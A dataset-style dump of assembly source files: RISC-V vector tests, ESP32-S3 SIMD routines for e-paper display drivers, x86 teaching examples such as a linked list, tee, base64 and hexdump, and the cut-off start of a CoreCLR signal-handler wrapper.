repo_id stringlengths 5 115 | size int64 590 5.01M | file_path stringlengths 4 212 | content stringlengths 590 5.01M |
|---|---|---|---|
vproc/vicuna | 2,673 | test/alu/vwadd-w_8.S | # Copyright TU Wien
# Licensed under the Solderpad Hardware License v2.1, see LICENSE.txt for details
# SPDX-License-Identifier: Apache-2.0 WITH SHL-2.1
.text
.global main
main:
la a0, vdata_start
li t0, 32
vsetvli t0, t0, e8,m2,tu,mu
li t0, 1
vle16.v v0, (a0)
vwadd.wx v4, v0, t0
vse16.v v4, (a0)
la a0, vdata_start
la a1, vdata_end
j spill_cache
.data
.align 10
.global vdata_start
.global vdata_end
vdata_start:
.word 0x323b3f47
.word 0xc7434b3a
.word 0x302f2e32
.word 0xe8404a51
.word 0x3f44383b
.word 0x37424d54
.word 0x5e4b5049
.word 0x4c4c4c4a
.word 0x4a505f3e
.word 0x485e5455
.word 0x4d4c4a41
.word 0x373b5451
.word 0x41454c45
.word 0x3a3e3738
.word 0x312f2e2f
.word 0x3d433f45
.word 0x46424949
.word 0x494a4d51
.word 0x49413c38
.word 0x3e514143
.word 0x47525353
.word 0x514e5052
.word 0x525a5b58
.word 0x5e575254
.word 0x56545058
.word 0x5a534947
.word 0xc7434b3a
.word 0x4e515051
.word 0x5a4b4545
.word 0x454c4342
.word 0x40504a3f
.word 0x4448535a
vdata_end:
.align 10
.global vref_start
.global vref_end
vref_start:
.word 0x323c3f48
.word 0xc7444b3b
.word 0x30302e33
.word 0xe8414a52
.word 0x3f45383c
.word 0x37434d55
.word 0x5e4c504a
.word 0x4c4d4c4b
.word 0x4a515f3f
.word 0x485f5456
.word 0x4d4d4a42
.word 0x373c5452
.word 0x41464c46
.word 0x3a3f3739
.word 0x31302e30
.word 0x3d443f46
.word 0x46424949
.word 0x494a4d51
.word 0x49413c38
.word 0x3e514143
.word 0x47525353
.word 0x514e5052
.word 0x525a5b58
.word 0x5e575254
.word 0x56545058
.word 0x5a534947
.word 0xc7434b3a
.word 0x4e515051
.word 0x5a4b4545
.word 0x454c4342
.word 0x40504a3f
.word 0x4448535a
vref_end:
|
vproc/vicuna | 3,033 | test/misc/max_reduction.S | # Copyright TU Wien
# Licensed under the Solderpad Hardware License v2.1, see LICENSE.txt for details
# SPDX-License-Identifier: Apache-2.0 WITH SHL-2.1
.text
.global main
main:
la a0, vdata_start
la a2, vdata_start+1
li t0, 16
vsetvli zero,t0,e8,m1,ta,mu
vle8.v v8,(a0) // load first 16 bytes into v8
li a0,-128
vsetivli zero,1,e8,m1,ta,mu
vmv.s.x v9,a0 // put -128 in v9 as reference maximum
vsetvli zero,t0,e8,m1,ta,mu
vredmax.vs v8,v8,v9 // take max of all elements in v8 and scalar in v9
vmv.x.s a0,v8
sb a0,0(a2) // store result
la a0, vdata_start
la a1, vdata_end
j spill_cache
.data
.align 10
.global vdata_start
.global vdata_end
vdata_start:
.word 0x323bbf47
.word 0xc7434b3a
.word 0x302f2e32
.word 0xe8404a51
.word 0x3f44383b
.word 0x37424d54
.word 0x5e4b5049
.word 0x4c4c4c4a
.word 0x4a505f3e
.word 0x485e5455
.word 0x4d4c4a41
.word 0x373b5451
.word 0x41454c45
.word 0x3a3e3738
.word 0x312f2e2f
.word 0x3d433f45
.word 0x46424949
.word 0x494a4d51
.word 0x49413c38
.word 0x3e514143
.word 0x47525353
.word 0x514e5052
.word 0x525a5b58
.word 0x5e575254
.word 0x56545058
.word 0x5a534947
.word 0x4744544f
.word 0x4e515051
.word 0x5a4b4545
.word 0x454c4342
.word 0x40504a3f
.word 0x4448535a
vdata_end:
.align 10
.global vref_start
.global vref_end
vref_start:
.word 0x323b5147
.word 0xc7434b3a
.word 0x302f2e32
.word 0xe8404a51
.word 0x3f44383b
.word 0x37424d54
.word 0x5e4b5049
.word 0x4c4c4c4a
.word 0x4a505f3e
.word 0x485e5455
.word 0x4d4c4a41
.word 0x373b5451
.word 0x41454c45
.word 0x3a3e3738
.word 0x312f2e2f
.word 0x3d433f45
.word 0x46424949
.word 0x494a4d51
.word 0x49413c38
.word 0x3e514143
.word 0x47525353
.word 0x514e5052
.word 0x525a5b58
.word 0x5e575254
.word 0x56545058
.word 0x5a534947
.word 0x4744544f
.word 0x4e515051
.word 0x5a4b4545
.word 0x454c4342
.word 0x40504a3f
.word 0x4448535a
vref_end:
|
vroland/epdiy | 3,394 | src/diff.S | #include <xtensa/config/core-isa.h>
#include <xtensa/config/core-matmap.h>
#include "sdkconfig.h"
#ifdef CONFIG_IDF_TARGET_ESP32S3
.text
.align 4
.global epd_interlace_4bpp_line_VE
.type epd_interlace_4bpp_line_VE,@function
// // CRASH AND BURN for debugging
// EE.MOVI.32.A q3, a2, 0
// EE.MOVI.32.A q3, a3, 1
// EE.MOVI.32.A q3, a4, 2
// EE.MOVI.32.A q3, a5, 3
// l8ui a10, a10, 0
// bool interlace_line(
// const uint8_t *to,
// const uint8_t *from,
// uint8_t *col_dirtyness;
// uint8_t *interlaced,
// int fb_width
// )
epd_interlace_4bpp_line_VE:
// to - a2
// from - a3
// interlaced - a4
// col_dirtyness - a5
// fb_width - a6
entry a1, 32
// divide by 32 for loop count
srli a11, a6, 5
movi.n a10, 0xF0F0F0F0;
EE.MOVI.32.Q q6,a10,0
EE.MOVI.32.Q q6,a10,1
EE.MOVI.32.Q q6,a10,2
EE.MOVI.32.Q q6,a10,3
movi.n a10, 0x0F0F0F0F
EE.MOVI.32.Q q7,a10,0
EE.MOVI.32.Q q7,a10,1
EE.MOVI.32.Q q7,a10,2
EE.MOVI.32.Q q7,a10,3
// put 4 into shift amount
movi.n a10, 4
WSR.SAR a10
// "dirtyness" register
EE.ZERO.Q q5
// Instructions sometimes are in an unexpected order
// for best pipeline utilization
loopnez a11, .loop_end_difference
EE.VLD.128.IP q0, a2, 16
EE.VLD.128.IP q1, a3, 16
// load column dirtyness
EE.VLD.128.IP q3, a5, 0
// update dirtyness
EE.XORQ q4, q1, q0
// line dirtyness accumulator
EE.ORQ q5, q5, q4
// column dirtyness
EE.ORQ q3, q3, q4
// store column dirtyness
EE.VST.128.IP q3, a5, 16
// mask out every second value
EE.ANDQ q2, q0, q7
EE.ANDQ q0, q0, q6
EE.ANDQ q3, q1, q7
EE.ANDQ q1, q1, q6
// shift vectors to align
EE.VSL.32 q2, q2
EE.VSR.32 q1, q1
// the right shift sign-extends,
// so we make sure the resulting shift is logical by masking again
EE.ANDQ q1, q1, q7
// Combine "from" and "to" nibble
EE.ORQ q2, q2, q3
EE.ORQ q0, q0, q1
// Zip masked out values together
EE.VZIP.8 q2, q0
// store interlaced buffer data
EE.VST.128.IP q2, a4, 16
EE.VST.128.IP q0, a4, 16
.loop_end_difference:
EE.MOVI.32.A q5, a2, 0
EE.MOVI.32.A q5, a3, 1
EE.MOVI.32.A q5, a4, 2
EE.MOVI.32.A q5, a5, 3
or a2, a2, a3
or a2, a2, a4
or a2, a2, a5
//movi.n a2, 1 // return "true"
// CRASH AND BURN for debugging
//EE.MOVI.32.A q5, a2, 0
//EE.MOVI.32.A q5, a3, 1
//EE.MOVI.32.A q5, a4, 2
//EE.MOVI.32.A q5, a5, 3
//movi.n a10, 0
//l8ui a10, a10, 0
retw.n
.global epd_apply_line_mask_VE
.type epd_apply_line_mask_VE,@function
// void epd_apply_line_mask_VE(
// uint8_t *line,
// const uint8_t *mask,
// int mask_len
// )
epd_apply_line_mask_VE:
// line - a2
// mask - a3
// mask_len - a4
entry a1, 32
// divide by 16 for loop count
srli a4, a4, 4
// Instructions sometimes are in an unexpected order
// for best pipeline utilization
loopnez a4, .loop_end_mask
EE.VLD.128.IP q0, a2, 0
EE.VLD.128.IP q1, a3, 16
EE.ANDQ q0, q0, q1
EE.VST.128.IP q0, a2, 16
.loop_end_mask:
retw.n
#endif |
vroland/epdiy | 3,624 | src/output_common/lut.S | #include <xtensa/config/core-isa.h>
#include <xtensa/config/core-matmap.h>
#include "sdkconfig.h"
#ifdef CONFIG_IDF_TARGET_ESP32S3
.text
.align 4
.global calc_epd_input_1ppB_1k_S3_VE_aligned
.type calc_epd_input_1ppB_1k_S3_VE_aligned,@function
// // CRASH AND BURN for debugging
// EE.MOVI.32.A q3, a2, 0
// EE.MOVI.32.A q3, a3, 1
// EE.MOVI.32.A q3, a4, 2
// EE.MOVI.32.A q3, a5, 3
// l8ui a10, a10, 0
// void calc_epd_input_1ppB_1k_S3_VE_aligned(
// const uint32_t *ld,
// uint8_t *epd_input,
// const uint8_t *conversion_lut,
// uint32_t epd_width
//);
calc_epd_input_1ppB_1k_S3_VE_aligned:
// input - a2
// output - a3
// lut - a4
// len - a5
entry a1, 32
// divide by 16 and do one loop lesss,
// because the last loop is special
srli a5, a5, 4
addi.n a5, a5, -1
// bitmasks for bit shift by multiplication
movi.n a10, 0x40001000
EE.MOVI.32.Q q4,a10,0
movi.n a10, 0x04000100
EE.MOVI.32.Q q4,a10,1
movi.n a10, 0x00400010
EE.MOVI.32.Q q4,a10,2
movi a10, 0x00040001
EE.MOVI.32.Q q4,a10,3
EE.ZERO.Q q0
EE.VLD.128.IP q1, a2, 16
// Instructions sometimes are in an unexpected order
// for best pipeline utilization
loopnez a5, .loop_end_lut_lookup
// q1, q0 contain the input bytes, zero-extended to bits bytes
EE.VZIP.8 q1, q0
// load 32-bit LUT results
EE.LDXQ.32 q2, q0, a4, 0, 6
EE.LDXQ.32 q2, q0, a4, 1, 7
EE.LDXQ.32 q2, q0, a4, 2, 4
EE.LDXQ.32 q2, q0, a4, 3, 5
EE.LDXQ.32 q3, q0, a4, 0, 2
EE.LDXQ.32 q3, q0, a4, 1, 3
EE.LDXQ.32 q3, q0, a4, 2, 0
EE.LDXQ.32 q3, q0, a4, 3, 1
EE.ZERO.ACCX
// zip to have 16bit LUT results in q2, q3 zeroes
EE.VUNZIP.16 q2, q3
// combine results with using multiply-add as shift-or
EE.VMULAS.U16.ACCX q2,q4
// load 32-bit LUT results
EE.LDXQ.32 q2, q1, a4, 0, 6
EE.LDXQ.32 q2, q1, a4, 1, 7
EE.LDXQ.32 q2, q1, a4, 2, 4
EE.LDXQ.32 q2, q1, a4, 3, 5
EE.LDXQ.32 q0, q1, a4, 0, 2
EE.LDXQ.32 q0, q1, a4, 1, 3
EE.LDXQ.32 q0, q1, a4, 2, 0
EE.LDXQ.32 q0, q1, a4, 3, 1
// store multiplication result in a6
RUR.ACCX_0 a6
s16i a6, a3, 2
EE.ZERO.ACCX
// zip to have 16bit LUT results in q2, q0 zeroes
EE.VUNZIP.16 q2, q0
// Combine second set of results and load the next data
EE.VMULAS.U16.ACCX.LD.IP q1, a2, 16, q2, q4
// store result in a6
RUR.ACCX_0 a6
s16i a6, a3, 0
addi.n a3, a3, 4
.loop_end_lut_lookup:
// Same as above, but in the last iteration
// we do not load to not access out of bounds.
EE.VZIP.8 q1, q0
EE.LDXQ.32 q2, q0, a4, 0, 6
EE.LDXQ.32 q2, q0, a4, 1, 7
EE.LDXQ.32 q2, q0, a4, 2, 4
EE.LDXQ.32 q2, q0, a4, 3, 5
EE.LDXQ.32 q3, q0, a4, 0, 2
EE.LDXQ.32 q3, q0, a4, 1, 3
EE.LDXQ.32 q3, q0, a4, 2, 0
EE.LDXQ.32 q3, q0, a4, 3, 1
EE.ZERO.ACCX
EE.VUNZIP.16 q2, q3
EE.VMULAS.U16.ACCX q2,q4
EE.LDXQ.32 q2, q1, a4, 0, 6
EE.LDXQ.32 q2, q1, a4, 1, 7
EE.LDXQ.32 q2, q1, a4, 2, 4
EE.LDXQ.32 q2, q1, a4, 3, 5
EE.LDXQ.32 q0, q1, a4, 0, 2
EE.LDXQ.32 q0, q1, a4, 1, 3
EE.LDXQ.32 q0, q1, a4, 2, 0
EE.LDXQ.32 q0, q1, a4, 3, 1
RUR.ACCX_0 a6
s16i a6, a3, 2
EE.ZERO.ACCX
EE.VUNZIP.16 q2, q0
EE.VMULAS.U16.ACCX q2, q4
RUR.ACCX_0 a6
s16i a6, a3, 0
movi.n a2, 0 // return status ESP_OK
retw.n
#endif |
vsergeev/apfcp | 2,299 | examples/linked_list.S | # Linked List (linked_list.S)
.section .text
.global main
# struct list { int data; struct list *next; };
#
# [ int data; ][ list *next; ] 8 bytes total
# \ 4 bytes / \ 4 bytes /
# list *list_alloc(int data);
list_alloc:
pushl $8 # %eax = malloc(8);
call malloc
addl $4, %esp
testl %eax, %eax # if (%eax == NULL)
jz fatal # goto fatal;
movl 4(%esp), %ecx
movl %ecx, (%eax) # %eax->data = data
movl $0, 4(%eax) # %eax->next = 0
ret
# Dirty error handling
fatal:
jmp fatal
# void list_add(list *head, int data);
list_add:
push %ebp
mov %esp, %ebp
subl $4, %esp # list *n;
pushl 12(%ebp) # %eax = list_alloc(data);
call list_alloc
addl $4, %esp
mov %eax, -4(%ebp) # n = %eax;
mov 8(%ebp), %eax # %eax = head
traverse_add:
cmpl $0, 4(%eax) # if (%eax->next == NULL)
jz at_end_add # goto at_end_add;
movl 4(%eax), %eax # %eax = %eax->next
jmp traverse_add # Loop
at_end_add:
movl -4(%ebp), %ecx # %ecx = n
movl %ecx, 4(%eax) # %eax->next = %ecx
mov %ebp, %esp
pop %ebp
ret
# void list_dump(list *head);
list_dump:
push %ebp
mov %esp, %ebp
pushl %ebx # Save %ebx
movl 8(%ebp), %ebx # %ebx = head
traverse_dump:
testl %ebx, %ebx # if (%ebx == NULL)
jz at_end_dump # goto at_end_dump;
movl (%ebx), %ecx # %ecx = %ebx->data
pushl %ecx # printf("%d\n", %ecx)
pushl $fmtStr
call printf
addl $8, %esp
movl 4(%ebx), %ebx # %ebx = %ebx->next
jmp traverse_dump # Loop
at_end_dump:
pop %ebx # Restore %ebx
mov %ebp, %esp
pop %ebp
ret
main:
pushl $86 # %eax = list_alloc(86);
call list_alloc
addl $4, %esp
movl %eax, head # head = %eax
pushl $75 # list_add(head, 75);
pushl head
call list_add
addl $8, %esp
pushl $309 # list_add(head, 309);
pushl head
call list_add
addl $8, %esp
pushl head # list_dump(head);
call list_dump
addl $4, %esp
movl $0, %eax # Return 0
ret
.section .data
head: .long 0
fmtStr: .ascii "%d\n\0"
|
vsergeev/apfcp | 1,439 | examples/tee.S | # Tee (tee.S)
.section .text
.global _start
_start:
push %ebp
mov %esp, %ebp
subl $4, %esp # int fd; on the stack
cmpl $2, 4(%ebp) # if (argc != 2)
jne tee_usage # goto tee_usage;
tee_open:
# syscall open(argv[1], O_CREAT|O_WRONLY|O_TRUNC, 0644);
movl $0x05, %eax
movl 12(%ebp), %ebx
movl $0x241, %ecx
movl $0644, %edx
int $0x80
cmpl $0, %eax # if (%eax < 0)
jl tee_exit # goto tee_exit;
movl %eax, -4(%ebp) # fd = %eax
tee_loop:
# Read from input
# syscall read(0, &c, 1);
movl $3, %eax
movl $0, %ebx
movl $c, %ecx
movl $1, %edx
int $0x80
cmpl $1, %eax # if (%eax < 1)
jl tee_exit # goto tee_exit;
# Write to file
# syscall write(fd, &c, 1);
movl $4, %eax
movl -4(%ebp), %ebx
movl $c, %ecx
movl $1, %edx
int $0x80
# Write to stdout
# syscall write(1, &c, 1);
movl $4, %eax
movl $1, %ebx
movl $c, %ecx
movl $1, %edx
int $0x80
jmp tee_loop # Loop
tee_usage:
# syscall write(1, usageStr, usageStrLen);
movl $4, %eax
movl $1, %ebx
movl $usageStr, %ecx
movl $usageStrLen, %edx
int $0x80
tee_exit:
# syscall exit(0);
movl $1, %eax
movl $0, %ebx
int $0x80
.section .rodata
# Usage string and length
usageStr: .ascii "./tee <file>\n"
.equ usageStrLen, . - usageStr
.section .bss
# Read character var
.comm c, 1
|
vsergeev/apfcp | 1,102 | examples/example-stack.S | # Example of Stack Usage (example-stack.S)
.section .text
.global _start
_start:
# Stack is now
# | ... | <-- %esp = 0x8xxxxxxx
movl $0x05, %eax # Load 0x00000005 into %eax
pushl %eax # Push dword 0x00000005 onto the stack
incl %eax # %eax += 1
pushl %eax # Push dword 0x00000006 onto the stack
pushl $0xdeadbeef # Push dword 0xdeadbeef onto the stack
# Stack is now
# | ... |
# | 0x00000005 |
# | 0x00000006 |
# | 0xdeadbeef | <-- %esp = 0x8xxxxxxx
popl %ebx # Pop dword off of the stack,
# %ebx = 0xdeadbeef now
# Stack is now
# | ... |
# | 0x00000005 |
# | 0x00000006 | <-- %esp = 0x8xxxxxxx
# | 0xdeadbeef |
addl $4, %esp # Deallocate 4 bytes off of the stack
# Stack is now
# | ... |
# | 0x00000005 | <-- %esp = 0x8xxxxxxx
# | 0x00000006 |
# | 0xdeadbeef |
movl $0xaaaaaaaa, (%esp) # Write 0xaaaaaaaa to the stack
# Stack is now
# | ... |
# | 0xaaaaaaaa | <-- %esp = 0x8xxxxxxx
# | 0x00000006 |
# | 0xdeadbeef |
|
vsergeev/apfcp | 1,242 | examples/example-cond-jmp.S | # Example of Conditional Jumps (example-cond-jmp.S)
.section .text
.global _start
_start:
# cmpl %oper1, %oper2
# updates flags based on result of %oper2 - %oper1
cmpl %eax, %ecx
cmpl $0xFF, %eax
# conditional jumps
je label_foo # jump if %oper2 == %oper1
jg label_bar # jump if %oper2 > %oper1
jl label_xyz # jump if %oper2 < %oper1
# test %oper1, %oper2
# updates flags based on result of %oper2 & %oper1
testl %eax, %ecx
testl $0x1F, %eax
# arithmetic
# updates flags based on result
addl %eax, %ebx
incl %eax
decl %ebx
# labels are just symbols containing an address to make
# it easy to specify addresses
label1:
label2:
movl $0, %eax # %eax = 0
incl %eax # %eax++ ; ZF set to 0!
jz label1 # Jump if ZF = 1 (not taken)
jnz label3 # Jump if ZF = 0 (taken)
decl %eax # I won't be executed
label3:
nop
nop # Execution will fall through
label4:
jmp label1 # Jump back to label1
# Loops
movl $10, %eax
loop:
nop
decl %eax
jnz loop
# Direct Comparison
cmpl $0x05, %eax
je label_foo # Jump to label_foo if %eax == 5
label_foo:
nop
label_bar:
nop
label_xyz:
nop
|
vsergeev/apfcp | 2,404 | examples/morse_encoder.S | # Morse Word Encoder (morse_encoder.S)
.section .text
.global main
main:
movl $inputWord, %esi # Pointer to input word
movl $outputMorse, %edi # Pointer to output morse
movl $0, %eax # Clear %eax
encode_loop:
movb (%esi), %al # Read the next byte of input to %al
incl %esi # Increment input word pointer
testb %al, %al # If we encounter a null byte
jz finished # jump to finished
subb $'A, %al # Adjust %al to be relative to 'A'
movl $MorseTable, %ecx # Initialize %ecx morse table pointer
lookup:
# Read the next code character into %bl
movb (%ecx, %eax, 8), %bl # %bl = *(%ecx + 8*%eax)
cmpb $' , %bl # If we encounter a space
je lookup_done # break out of the loop
movb %bl, (%edi) # Copy the code char. to our output morse
incl %edi # Increment output morse pointer
incl %ecx # Incerment our table pointer
jmp lookup # Loop
lookup_done:
movb $' , (%edi) # Copy a space to the output morse
incl %edi # Increment output morse pointer
movb $' , (%edi) # ...
incl %edi # ...
movb $' , (%edi) # ...
incl %edi # ...
jmp encode_loop
finished:
movb $0x00, (%edi) # Append a null byte to the output morse
incl %edi # Increment output morse pointer
pushl $outputMorse # Call puts(outputMorse);
call puts
addl $4, %esp
movl $0, %eax # Return 0
ret
.section .rodata
# Morse code lookup table
MorseTable:
.ascii ".- ", "-... ", "-.-. ", "-.. " # A, B, C, D
.ascii ". ", "..-. ", "--. ", ".... " # E, F, G, H
.ascii ".. ", ".--- ", "-.- ", ".-.. " # I, J, K, L
.ascii "-- ", "-. ", "--- ", ".--. " # M, N, O, P
.ascii "--.- ", ".-. ", "... ", "- " # Q, R, S, T
.ascii "..- ", "...- ", ".-- ", "-..- " # U, V, W, X
.ascii "-.-- ", "--.. " # Y, Z
.section .data
# Input Word Storage
inputWord: .ascii "HELLO\0"
.section .bss
# Output Morse Code Storage
.comm outputMorse, 64
|
vsergeev/apfcp | 1,239 | examples/99_bottles_of_beer.S | # 99 Bottles of Beer on the Wall (example-10.S)
.section .text
.global main
main:
movl $99, %eax # Start with 99 bottles!
# We could use a cdecl callee preserved register,
# but we'll make it hard on ourselves to practice
# caller saving/restoring
# printf(char *format, ...);
more_beer:
# Save %eax since it will get used by printf()
pushl %eax
# printf(formatStr1, %eax, %eax);
pushl %eax
pushl %eax
pushl $formatStr1 # *Address* of formatStr1
call printf
addl $12, %esp # Clean up the stack
# Restore %eax
popl %eax
# Drink a beer
decl %eax
# Save %eax
pushl %eax
# printf(formatStr2, %eax);
pushl %eax
pushl $formatStr2 # *Address* of formatStr2
call printf
addl $8, %esp # Clean up the stack
# Restore %eax
popl %eax
# Loop
test %eax, %eax
jnz more_beer
# printf(formatStr3);
pushl $formatStr3
call printf
addl $4, %esp
movl $0, %eax
ret
.section .data
formatStr1: .ascii "%d bottles of beer on the wall! %d bottles of beer!\n\0"
formatStr2: .ascii "Take one down, pass it around, %d bottles of beer on the wall!\n\0"
formatStr3: .ascii "No more bottles of beer on the wall!\n\0"
|
vsergeev/apfcp | 3,956 | examples/extra/base64.S | # Accompanying slide
# \begin{frame}[fragile,t]
# \frametitle{Base-64 Representation of Binary Data}
# \begin{itemize}
# \item Some ASCII-based communication channels do not handle binary data well (email, http, etc.).
# \item Base-64 encoding expresses binary data with a set of 64 printable ASCII characters.
# \item Encoding Scheme
# \begin{itemize}
# \item Combine three input bytes into a 24-bit quantity \\
# {\ttfamily 0xFF 0xDE 0x02 =} \\ {\ttfamily 0b11111111\_11011110\_00000010}
# \item Split the 24-bits into four 6-bit quantities \\
# {\ttfamily 0b111111\_111101\_111000\_000010} \\
# \item Look up each 6-bit quantity in the 64 ASCII character table
# {\ttfamily b64table[0b111111], b64table[0b111101], b64table[0b111000], b64table[0b000010]} \\
# \item Base-64 encoding of {\ttfamily 0xFF 0xDE 0x02} is {\ttfamily '/' '9' '4' 'c'}
# \end{itemize}
# \item Rules to pad input sequences that are not multiples of 3 bytes exist
# \end{itemize}
# \end{frame}
# Base-64 Encoder (base64.S)
.section .text
.global main
main:
movl $plainData, %esi # Pointer to plainData
movl $encodedData, %edi # Pointer to encodedData
movl $b64table, %ebp # Pointer to b64Table
movl $0, %ecx # Clear our counter %ecx
movl plainDataLen, %edx # Length of plain data in %edx
b64_encode_loop:
movb (%esi, %ecx, 1), %al # Fetch byte 1 of 3
incl %ecx
shl $16, %eax # Left shift the byte into place
movb (%esi, %ecx, 1), %ah # Fetch byte 2 of 3
incl %ecx
movb (%esi, %ecx, 1), %al # Fetch byte 3 of 3
incl %ecx
# %eax contains 24-bits of input bytes
# arranges as | x | 2 | 1 | 0 |
movl %eax, %ebx # Save a copy of %eax
# Look up base-64 character 1
shr $18, %eax # Shift top 6-bits to the bottom
andl $0x3F, %eax # Mask them off
movb (%ebp, %eax, 1), %al # Look up the character from b64table
movb %al, (%edi) # Write character to encodeString
incl %edi
movl %ebx, %eax # Restore %eax
# Look up base-64 character 2
shr $12, %eax # Shift next 6-bits to the bottom
andl $0x3F, %eax # Mask them off
movb (%ebp, %eax, 1), %al # Look up the character from b64table
movb %al, (%edi) # Write character to encodeString
incl %edi
movl %ebx, %eax # Restore %eax
# Look up base-64 character 3
shr $6, %eax # Shift next 6-bits to the bottom
andl $0x3F, %eax # Mask them off
movb (%ebp, %eax, 1), %al # Look up the character from b64table
movb %al, (%edi) # Write character to encodeString
incl %edi
movl %ebx, %eax # Restore %eax
# Look up base-64 character 4
andl $0x3F, %eax # Mask off the last 6-bits
movb (%ebp, %eax, 1), %al # Look up the character from b64table
movb %al, (%edi) # Write character to encodeString
incl %edi
# Loop until we've processed all input bytes
cmpl %edx, %ecx
jl b64_encode_loop
# Write a null-terminating byte to the encoded string
movb $0, %al
movb %al, (%edi)
# Print the encoded string
pushl $encodedData
pushl $plainData
pushl $formatStr
call printf
addl $12, %esp
ret
.section .rodata
# base-64 encoding look up table
b64table:
.byte 'A,'B,'C,'D,'E,'F,'G,'H
.byte 'I,'J,'K,'L,'M,'N,'O,'P
.byte 'Q,'R,'S,'T,'U,'V,'W,'X
.byte 'Y,'Z,'a,'b,'c,'d,'e,'f
.byte 'g,'h,'i,'j,'k,'l,'m,'n
.byte 'o,'p,'q,'r,'s,'t,'u,'v
.byte 'w,'x,'y,'z,'0,'1,'2,'3
.byte '4,'5,'6,'7,'8,'9,'+,'/
formatStr:
.ascii "Plain data: %s\nEncoded data: %s\n\0"
.section .bss
# base-64 encoded string storage
.comm encodedData, 1024
.section .data
# input data (multiple of 3 bytes for the purpose of this example)
plainData: .ascii "Hello World!\0"
plainDataLen: .long 12
|
vsergeev/apfcp | 2,466 | examples/extra/hexdump.S | # Simple Hexdump (hexdump.S)
.section .text
.global _start
_start:
pushl %ebp
movl %esp, %ebp
# Allocate int fd; char buff[16]; on stack
subl $20, %esp
# Check if argc != 2
cmpl $2, 4(%ebp)
jne print_usage
# syscall open(argv[1], O_RDONLY);
movl $0x05, %eax
movl 12(%ebp), %ebx
movl $0x00, %ecx
int $0x80
# Check if fd < 0
test %eax, %eax
jl exit
# Copy %eax to fd local variable
movl %eax, -4(%ebp)
read_loop:
# syscall read(fd, buff, 16);
movl $0x03, %eax
movl -4(%ebp), %ebx # fd
leal -20(%ebp), %ecx # address %ebp-20, our buff[16]
movl $16, %edx
int $0x80
# Check for error on read
cmpl $0, %eax
jle cleanup
# %esi = index, %edi = count
movl $0, %esi
movl %eax, %edi
byte_loop:
# Fetch the byte from our buff
movb -20(%ebp, %esi, 1), %al
# Print out the byte as ASCII hex
pushl %eax
call putbyte
addl $4, %esp
# Print out a space
pushl $' '
call putchar
addl $4, %esp
# Loop byte_loop
incl %esi
decl %edi
jnz byte_loop
# Print out a newline
pushl $'\n'
call putchar
addl $4, %esp
# Loop read_loop
jmp read_loop
print_usage:
# syscall write(1, usageStr, usageStrLen);
movl $4, %eax
movl $1, %ebx
movl $usageStr, %ecx
movl $usageStrLen, %edx
int $0x80
jmp exit
cleanup:
# syscall close(fd);
movl $0x06, %eax
movl -4(%ebp), %ebx
int $0x80
exit:
# syscall exit(0);
movl $0x01, %eax
movl $0x0, %ebx
int $0x80
########################################
putbyte:
# Fetch argument
movl 4(%esp), %eax
# Isolate the top nibble 0xX0
shrb $4, %al
andl $0x0F, %eax
# Convert to ASCII hex
movl $nibble2hex, %ecx
movb (%ecx, %eax, 1), %al
# Print out the nibble
pushl %eax
call putchar
addl $4, %esp
# Fetch argument
movl 4(%esp), %eax
# Isolate the bottom nibble 0x0X
andl $0x0F, %eax
# Convert to ASCII hex
movl $nibble2hex, %ecx
movb (%ecx, %eax, 1), %al
# Print out the nibble
pushl %eax
call putchar
addl $4, %esp
ret
putchar:
# Save %ebx
pushl %ebx
# syscall write(1, c, 1);
movl $0x04, %eax
movl $1, %ebx
leal 8(%esp), %ecx
movl $1, %edx
int $0x80
# Restore %ebx
popl %ebx
ret
########################################
.section .rodata
nibble2hex: .ascii "0123456789abcdef"
usageStr: .ascii "./hexdump <file>\n"
.equ usageStrLen, . - usageStr
|
vsergeev/apfcp | 1,903 | examples/extra/line_counter.S | # File Line Counter (line_counter.S)
.section .text
.global main
# int main(int argc, char *argv[]) {
main:
# Function prologue
pushl %ebp
movl %esp, %ebp
# Allocate space for FILE *fp; unsigned int lc;
subl $8, %esp
# libc retaddr at %ebp+4
# argc is at %ebp+8
# **argv is at %ebp+12
# *argv[0] is at *(%ebp+12)+0
# *argv[1] is at *(%ebp+12)+4
# FILE *fp is at %ebp-4
# unsigned int lc at %ebp-8
# if (argc != 2)
cmpl $2, 8(%ebp)
jne printUsage
movl 12(%ebp), %eax # Copy argv to %eax
addl $4, %eax # Add 4 to yield *argv[1]
movl (%eax), %eax # Dereference to yield argv[1]
# fopen(argv[1], "r");
pushl $openMode
pushl %eax
call fopen
addl $8, %esp
# fp = ...
movl %eax, -4(%ebp)
# if (fp == NULL)
test %eax, %eax
jz errorOpen
# lc = 0;
movl $0, -8(%ebp)
read_loop:
# %eax = fgetc(fp);
pushl -4(%ebp)
call fgetc
addl $4, %esp
# if (c == EOF) break;
cmpl $-1, %eax
je print_count
# if (c != '\n') continue;
cmpl $0x0A, %eax
jne read_loop
# lc += 1
addl $1, -8(%ebp)
jmp read_loop
print_count:
# printf("%d\n", lc);
pushl -8(%ebp)
pushl $countStr
call printf
addl $8, %esp
# return 0;
movl $0, %eax
jmp finished
printUsage:
# printf("usage %s <file>\n", argv[0]);
movl 12(%ebp), %eax
pushl (%eax)
pushl $usageStr
call printf
addl $8, %esp
# return -1;
movl $0, %eax
notl %eax
jmp finished
errorOpen:
# printf("error opening file!\n");
pushl $errorOpenStr
call printf
addl $4, %esp
# return -1;
movl $0, %eax
notl %eax
jmp finished
finished:
movl %ebp, %esp
popl %ebp
ret
.section .data
openMode: .ascii "r\0"
countStr: .ascii "%d\n\0"
usageStr: .ascii "usage: %s <file>\n\0"
errorOpenStr: .ascii "error opening file!\n\0"
|
VSharp-team/VSharp | 1,239 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/s390x/callsignalhandlerwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
.macro CALL_SIGNAL_HANDLER_WRAPPER Alignment
.globl C_FUNC(SignalHandlerWorkerReturnOffset\Alignment)
C_FUNC(SignalHandlerWorkerReturnOffset\Alignment):
.int LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment)-C_FUNC(CallSignalHandlerWrapper\Alignment)
// This function is never called, only a fake stack frame will be setup to have a return
// address set to SignalHandlerWorkerReturn during SIGSEGV handling.
// It enables the unwinder to unwind stack from the handling code to the actual failure site.
NESTED_ENTRY CallSignalHandlerWrapper\Alignment, _TEXT, NoHandler
.cfi_def_cfa 15, 160
stmg %r14, %r15, 112(%r15)
.cfi_offset 14, -48
.cfi_offset 15, -40
aghi %r15, -160
.cfi_def_cfa_offset 320
